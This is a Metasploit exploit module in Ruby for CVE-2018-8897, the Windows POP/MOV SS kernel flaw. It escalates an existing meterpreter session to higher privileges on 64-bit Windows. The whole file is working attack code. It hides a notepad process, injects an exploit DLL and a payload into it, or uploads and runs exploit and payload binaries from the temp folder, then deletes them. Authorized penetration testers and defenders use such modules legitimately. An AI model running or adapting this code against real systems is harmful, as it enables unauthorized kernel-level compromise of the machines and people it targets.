## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q( This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. ), 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük ', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => false } )) register_options([ OptBool.new('USE_INJECTION', [true, 'Use in-memory dll injection rather than exe file uploads.', true]), OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3]) ]) end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def inject_magic(process) library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit_dll begin print_status('Checking target...') validate_active_host validate_target print_status('Target Looks Good... trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) end end def exploit_exe begin validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end def exploit begin validate_active_host validate_target if datastore['USE_INJECTION'] exploit_dll else exploit_exe end end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end